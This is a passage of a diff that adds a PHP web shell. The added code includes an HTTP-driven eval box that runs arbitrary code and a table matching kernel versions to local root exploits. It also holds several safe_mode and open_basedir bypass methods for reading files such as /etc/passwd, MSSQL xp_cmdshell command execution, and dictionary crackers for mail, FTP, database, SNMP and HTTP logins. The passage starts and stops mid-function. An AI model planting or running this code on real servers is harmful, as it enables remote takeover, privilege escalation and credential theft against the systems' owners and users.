+for($i=0;$i<mysql_num_fields($result);$i++) +$res.=mysql_field_name($result,$i).'[-][-][-]'; +mysql_close($link); +return $res; +} +break; +case 'MSSQL': +if(!function_exists('mssql_connect'))return 0; +$link=mssql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mssql_select_db($db,$link); +$result=mssql_query($query,$link); +while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mssql_num_fields($result);$i++) +$res.=mssql_field_name($result,$i).'[-][-][-]'; +mssql_close($link); +return $res; +} +break; +case 'Oracle': +if(!function_exists('ocilogon'))return 0; +$link=ocilogon($user,$pass,$db); +if($link){ +$stm=ociparse($link,$query); +ociexecute($stm,OCI_DEFAULT); +while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<oci_num_fields($stm);$i++) +$res.=oci_field_name($stm,$i).'[-][-][-]'; +return $res; +} +break; +case 'PostgreSQL': +if(!function_exists('pg_connect'))return 0; +$link=pg_connect("host=$host dbname=$db user=$user password=$pass"); +if($link){ +$result=pg_query($link,$query); +while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<pg_num_fields($result);$i++) +$res.=pg_field_name($result,$i).'[-][-][-]'; +pg_close($link); +return $res; +} +break; +} +return 0; +} +function phpevaL(){ +global $t,$hcwd,$et; +echo '<center>'; +if(!empty($_REQUEST['code'])){ +$s=array('<?php'=>'','<?'=>'','?>'=>''); +echo "<textarea rows='10' cols='64'>";echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code'])));echo '</textarea><br><br>'; +} +echo "${t}Evaler:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Codes:</td><td bgcolor='#666666'><textarea rows='10' name='code' cols='64'>";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Execute></form>$et</center>"; +} +function rootxpL(){ +$v=php_uname(); +$db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip'); +foreach($db as $k=>$x)if(strstr($v,$k))return $x; +return 0; +} +function toolS(){ +global $t,$hcwd,$et,$cwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){ +$ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5); +fputs($ser,$_REQUEST['domaiN']."\r\n"); +echo '<pre>'; +while(!feof($ser))echo fgets($ser,1024); +echo '</pre>'; +fclose($ser); +} +elseif(!empty($_REQUEST['urL'])){ +$h=''; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port']; +$ser=fsockopen($host,$port,$en,$es,5); +if($ser){ +fputs($ser,"GET $file\r\nHost: $host\r\n\r\n"); +echo '<pre>'; +while($h!="\r\n"){$h=fgets($ser,1024);echo $h;} +echo '</pre>'; +fclose($ser); +} +} +elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){ +$htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd'; +$htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess'; +file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),CRYPT_STD_DES)); +file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n"); +echo '<font color=blue>Done</font>'; +} +$s="</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>"; +echo "<center>${t}WhoIs:${s}Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'whois.geektools.com'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>domain:</td><td bgcolor='#808080'><input type=text name=domaiN value='";if (!empty($_REQUEST['domaiN'])) echo htmlspecialchars($_REQUEST['domaiN']); else echo 'google.com'; echo "' size=35></td><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value='Do'></form>$et<br>${t}.ht* generator:${s}Username:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['uN'])) echo htmlspecialchars($_REQUEST['uN']);else echo 'r00t'; echo "' name=uN size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Password:</td><td bgcolor='#808080'><input type=text name=pW value='";if (!empty($_REQUEST['pW'])) echo htmlspecialchars($_REQUEST['pW']); else echo uniqid('@'); echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Directory:</td><td bgcolor='#666666'><input type=text name=ouT value='";if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']); else echo $cwd; echo "' size=35></td><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab header:${s}URL:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['urL']))echo htmlspecialchars($_REQUEST['urL']);else echo 'http://netjackal.by.ru/index.htm'; echo "' name=urL size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Get'></form>$et<br></center>"; +} +function hexvieW(){ +if(!empty($_REQUEST['filE'])){ +$f=$_REQUEST['filE']; +echo "<table border=0 style='border-collapse: collapse' width='100%'><td width='10%' bgcolor='#282828'>Offset</td><td width='25%' bgcolor='#282828'>Hex</td><td width='25%' bgcolor='#282828'></td><td width='40%' bgcolor='#282828'>ASCII</td></tr>"; +$file=fopen($f,'r'); +$i=-1; +while(!feof($file)){ +$ln=''; +$i++; +echo "<tr><td width='10%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>";echo str_repeat('0',(8-strlen($i*16))).$i*16;echo '</td>'; +echo "<td width='25%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>"; +for($j=0;$j<=7;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo "</td><td width='25%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>"; +for($j=7;$j<=14;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo "</td><td width='40%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>"; +$n=0;$asc='';$co=0; +for($k=0;$k<=16;$k++){ +$co=hexdec(substr($ln,$n,2)); +if(($co<=31)||(($co>=127)&&($co<=160)))$co=46; +$asc.=chr($co); +$n+=2; +} +echo htmlspecialchars($asc); +echo '</td></tr>'; +} +} +fclose($file); +echo '</table>'; +} +function safemodE(){ +global $windows,$t,$hcwd,$et; +$file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file']; +$pr="\r\n</font><font color=green>Method "; +$po=")</font><font color=blue>\r\n"; +$i=1; +if(!empty($_REQUEST['read'])){ +echo "<pre>$pr$i:(ini_restore$po"; +ini_restore('safe_mode');ini_restore('open_basedir'); +readfile($file); +$i++; +echo "$pr$i:(include$po"; +include($file); +$i++; +echo "$pr$i:(copy$po"; +$tmp=tempnam('','cx'); +copy('compress.zlib://'.$file,$tmp); +$fh=fopen($tmp,'r'); +$data=fread($fh,filesize($tmp)); +fclose($fh); +echo $data; +$i++; +if(function_exists('mb_send_mail')){ +echo "$pr$i:(mb_send_mail$po"; +if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail'); +mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail'); +readfile('/tmp/mb_send_mail'); +$i++; +} +if(function_exists('curl_init')){ +echo "$pr$i:(curl_init [A]$po"; +$fh=curl_init('file://'.$file.''); +$tmp=curl_exec($fh); +echo $tmp; +$i++; +echo "$pr$i:(curl_init [B]$po"; +$i++; +if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__); +else $ch=curl_init('file://'.$file."\x00".__FILE__); +var_dump(curl_exec($ch)); +} +if(is_writable('.')){ +echo "$pr$i:(php.ini$po"; +file_put_contents('php.ini','safe_mode = Off'); +readfile($file); +unlink('php.ini'); +$i++; +} +if(is_object($ws=new COM('WScript.Shell'))){ +echo "$pr$i:(COM$po"; +echo $exec=comshelL("type \"$file\"",$ws); +$i++; +} +if(checkfunctioN('win_shell_execute')){ +echo "$pr$i:(win32std$po"; +echo winshelL("type \"$file\""); +$i++; +} +if(checkfunctioN('win32_create_service')){ +echo "$pr$i:(win32service$po"; +echo srvshelL("type \"$file\""); +$i++; +} +if(function_exists('imap_open')){ +echo "$pr$i:(imap [A]$po"; +$str=imap_open('/etc/passwd','',''); +$list=imap_list($str,$file,'*'); +for($i=0;$i<count($list);$i++)echo $list[$i]."\n"; +imap_close($str); +$i++; +echo "$pr$i:(imap [B]$po"; +$str=imap_open($file,'',''); +$tmp=imap_body($str,1); +echo $tmp; +imap_close($str); +$i++; +} +if($file=='/etc/passwd'){ +echo "$pr$i:(posix$po"; +for($uid=0;$uid<99999;$uid++){ +$h=posix_getpwuid($uid); +if(!empty($h))foreach($h as $v)echo "$v:"; +echo "\r\n"; +} +} +echo "\n</pre></font>"; +} +elseif(!empty($_REQUEST['show'])){ +echo "<pre>$pr$i:(glob$po"; +$con=glob("$file*"); +foreach ($con as $v){ + echo "$v\n"; +} +$i++; +if(function_exists('imap_open')){ +echo "$pr$i:(imap$po"; +$str=imap_open('/etc/passwd','',''); +$s=explode("|",$file); +if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*'); +for($i=0;$i<count($list);$i++)echo "$list[$i]\r\n"; +imap_close($str); +$i++; +} +if(is_object($ws=new COM('WScript.Shell'))){ +echo "$pr$i:(COM$po"; +$exec=comshelL("dir \"$file\"",$ws); +$exec=str_replace("\t",'',$exec); +echo $exec; +$i++; +} +if(checkfunctioN('win_shell_execute')){ +echo "$pr$i:(win32std$po"; +echo winshelL("dir \"$file\""); +$i++; +} +if(checkfunctioN('win32_create_service')){ +echo "$pr$i:(win32service$po"; +echo srvshelL("dir \"$file\""); +$i++; +} +echo "\n</pre></font>"; +} +elseif(!empty($_REQUEST['sql'])){ +$ta=uniqid('N'); +$s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta"); +$l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']); +mysql_select_db($_REQUEST['db'],$l); +echo '<pre><font color=blue>'; +foreach($s as $v){ +$q = mysql_query($v,$l); +while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]); +} +echo '</pre></font>'; +} +elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){ +$res=''; +$tb=uniqid('NJ'); +$db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']); +mssql_select_db($_REQUEST['dB'],$db); +mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db); +mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db); +$re=mssql_query("select * from $tb",$db); +while(($row=mssql_fetch_row($re))) +{ +$res.= $row[0]."\r\n"; +} +mssql_query("drop table $tb",$db); +mssql_close($db); +echo "<center><textarea rows='18' cols='64'>$res</textarea></center><br>"; +} +$f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd'; +$u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root'; +$p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456'; +$d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test'; +echo "<center>${t}Use PHP Bugs:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit name=read value='Read File'><input class=buttons type=submit name=show value='Show directory'></form>$et<br>${t}Use MySQL:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=user value='$u'></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pass value='$p'></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text name=db value='$d'></td></tr><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit name=sql value='Read'></form>$et<br>${t}MSSQL Exec:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']); else echo 'sa'; echo "' size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pasS value='";if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);echo "' size=35></td></tr><td width='20%' bgcolor='#808080'>Command:</td><td bgcolor='#808080'><input type=text name=coM value='";if (!empty($_REQUEST['coM'])) echo htmlspecialchars($_REQUEST['coM']);else echo 'dir c:';echo "' size=35></td></tr><tr><td bgcolor='#666666'>Database:</td><td bgcolor='#666666'><input type=text name=dB value='";if(isset($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);else echo 'master';echo "'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$hcwd<input class=buttons type=submit value='Execute'></form>$et</center>"; +} +function crackeR(){ +global $t,$et,$crack,$cwd; +$check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0; +if(!empty($_REQUEST['cracK']) && !$check){ +$c=htmlspecialchars($_REQUEST['cracK']); +echo "<center>$t$c cracker:$crack"; +} +elseif(!empty($_REQUEST['cracK']) && $check){ +$pro=strtolower($_REQUEST['cracK']).'checK'; +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +if($dictionary){ +echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$ret=$pro($target,$user,$pass,5); +if($ret==-1){echo "$errorbox Can not connect to server.$et";break;}else{ +if($ret){$x="U: $user P: $pass";echo "$x<br>";if($log)file_add_contentS($file,"$x\r\n");if(!$type)break;}} +} +echo '<br>Done</font>'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else{ +echo "<center><table border=0 bgcolor=#333333><tr><td><a href='".hlinK("seC=hc&workingdiR=$cwd")."'>[Hash]</a> - <a href='".hlinK("seC=cr&cracK=SMTP&workingdiR=$cwd")."'>[SMTP]</a> - <a href='".hlinK("seC=cr&cracK=POP3&workingdiR=$cwd")."'>[POP3]</a> - <a href='".hlinK("seC=cr&cracK=IMAP&workingdiR=$cwd")."'>[IMAP]</a> - <a href='".hlinK("seC=cr&cracK=FTP&workingdiR=$cwd")."'>[FTP]</a> - <a href='".hlinK("seC=snmp&workingdiR=$cwd")."'>[SNMP]</a> - <a href='".hlinK("seC=cr&cracK=MySQL&workingdiR=$cwd")."'>[MySQL]</a> - <a href='".hlinK("seC=cr&cracK=MSSQL&workingdiR=$cwd")."'>[MSSQL]</a> - <a href='".hlinK("seC=fcr&workingdiR=$cwd")."'>[HTTP Form]</a> - <a href='".hlinK("seC=auth&workingdiR=$cwd")."'>[HTTP Auth(basic)]</a> - <a href='".hlinK("seC=dic&workingdiR=$cwd")."'>[Dictionary maker]</a>$et</center>"; +} +} +function snmpcrackeR(){ +global $t,$et,$errorbox,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>'; +while(!feof($dictionary)){ +$com=trim(fgets($dictionary)," \n\r"); +$res=snmpchecK($target,$com,2); +if($res){echo "$com<br>";if($log)file_add_contentS($file,"$com\r\n");} +} +echo '<br>Done</font>'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}SNMP cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'>$hcwd<tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit value=Start></form>$et</center>"; +} +function dicmakeR(){ +global $errorbox,$windows,$footer,$t,$et,$hcwd; +$combo=(empty($_REQUEST['combo']))?0:1; +if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ +$min=$_REQUEST['min']; +$max=$_REQUEST['max']; +if($max<$min)die($errorbox."Bad input!$et".$footer); +$s=$w=''; +$out=$_REQUEST['output']; +$r=$_REQUEST['range']; +$dic=fopen($out,'w'); +if($r==1){ +for($s=pow(10,$min-1);$s<pow(10,$max-1);$s++){ +$w=$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +} +} +else{ +$s=str_repeat($r,$min); +while(strlen($s)<$max){ +$w=$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++; +} +} +fclose($dic); +echo '<font color=blue>Done</font>'; +} +elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ +$input=fopen($_REQUEST['input'],'r'); +if(!$input){ +if($windows)echo $errorbox.'Unable to read from '.htmlspecialchars($_REQUEST['input'])."$et<br>"; +else{ +$input=explode("\n",shelL("cat $input")); +$output=fopen($_REQUEST['output'],'w'); +if($output){ +foreach($input as $in){ +$user=$in; +$user=trim(fgets($in)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo '<font color=blue>Done</font>'; +} +} +} +else{ +$output=fopen($_REQUEST['output'],'w'); +if($output){ +while(!feof($input)){ +$user=trim(fgets($input)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo '<font color=blue>Done</font>'; +} +else echo $errorbox.' Unable to write data to '.htmlspecialchars($_REQUEST['input'])."$et<br>"; +} +}elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ +$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); +if($combo && $res){ +$file=file($_REQUEST['output']); +$output=fopen($_REQUEST['output'],'w'); +foreach($file as $v)fwrite($output,"$v:$v\n"); +fclose($output); +} +echo '<font color=blue>Done</font>'; +}else{ +$temp=whereistmP().DIRECTORY_SEPARATOR; +echo "<center>${t}Wordlist generator:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Range:</td><td bgcolor='#666666'><select name=range><option value=a>a-z</option><option value=A>A-Z</option><option value=1>0-9</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Min lenght:</td><td bgcolor='#808080'><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Max lenght:</td><td bgcolor='#666666'><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox name=combo style='border-width:1px;background-color:#666666;' value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Grab from:</td><td bgcolor='#666666'><input type=text value='/etc/passwd' name=input size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Grab></form>$et<br>${t}Download dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>URL:</td><td bgcolor='#666666'><input type=text value='http://vburton.ncsa.uiuc.edu/wordlist.txt' name=url size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Get></form>$et</center>";} +} +function ftpclienT(){ +global $t,$cwd,$hcwd,$errorbox,$et; +$td="<td bgcolor='#333333' width='50%'>"; +if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){ +$user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT']; +$con=ftp_connect($_REQUEST['hosT'],21,10); +if($con){ +$ftp=ftp_login($con,$user,$pass); +if($ftp){ +if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']); +if(!empty($_REQUEST['filE'])){ +$file=$_REQUEST['filE']; +$mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII; +if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode); +elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode); +elseif(isset($_REQUEST['rM'])){ +ftp_rmdir($con,$file); +ftp_delete($con,$file); +} +elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file); +} +$pwd=ftp_pwd($con); +$dir=ftp_nlist($con,''); +$d=opendir($cwd); +echo "<table border=0 style='border-collapse: collapse' width='100%'><tr>${td}Server:</td>${td}Client:</td></tr><form method=POST><tr>$td<input type=text value='$pwd' name=PWD size=50><input value=Change class=buttons type=submit></td>$td<input size=50 type=text value='$cwd' name=workingdiR><input value=Change class=buttons type=submit></td></tr><tr>$td"; +foreach($dir as $n)echo "$n<br>"; +echo "</td>$td";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir<br>"; echo "</td></tr><tr>${td}Name:<input type=text name=filE><input type=checkbox style='border-width:1px;background-color:#333333;' name=modE value=1>Binary <input type=submit name=geT class=buttons value=Get><input type=submit name=puT class=buttons value=Put><input type=submit name=rM class=buttons value=Remove><input type=submit name=mD class=buttons value='Make dir'></td>$td<input type=hidden value='$user' name=useR><input type=hidden value='$pass' name=pasS><input type=hidden value='$host' name=hosT></form>$et"; +}else echo "$errorbox Wrong username or password$et"; +}else echo "$errorbox Can not connect to server!$et"; +} +else{ +echo "<center>${t}FTP cilent:</td><form name=client method='POST'><td bgcolor='#333333'></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value=localhost name=hosT size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value=anonymous size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value=admin@nasa.gov name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et</center>"; +} +} +function calC(){ +global $t,$et,$hcwd; +$fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev'); +if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){ +$to=$_REQUEST['to']; +echo "<center>${t}Output:<br><textarea rows='10' cols='64'>"; +if($to=='hex')for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i}))); +else echo $to($_REQUEST['input']); +echo "</textarea>$et</center><br>"; +} +echo "<center>${t}Convertor:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Input:</td><td bgcolor='#666666'><textarea rows='10' name='input' cols='64'>";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#808080'>Task:</td><td bgcolor='#808080'><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>Crc32</option><option value=strrev>Reverse</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=decbin>Decimal to binary</option><option value=bindec>Binary to decimal</option><option value=dechex>Decimal to hex</option><option value=hexdec>Hex to decimal</option><option value=hex>ASCII to hex</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right><input class=buttons type=submit value=Convert>$hcwd</form>$et</center>"; +} +function authcrackeR(){ +global $errorbox,$et,$t,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ 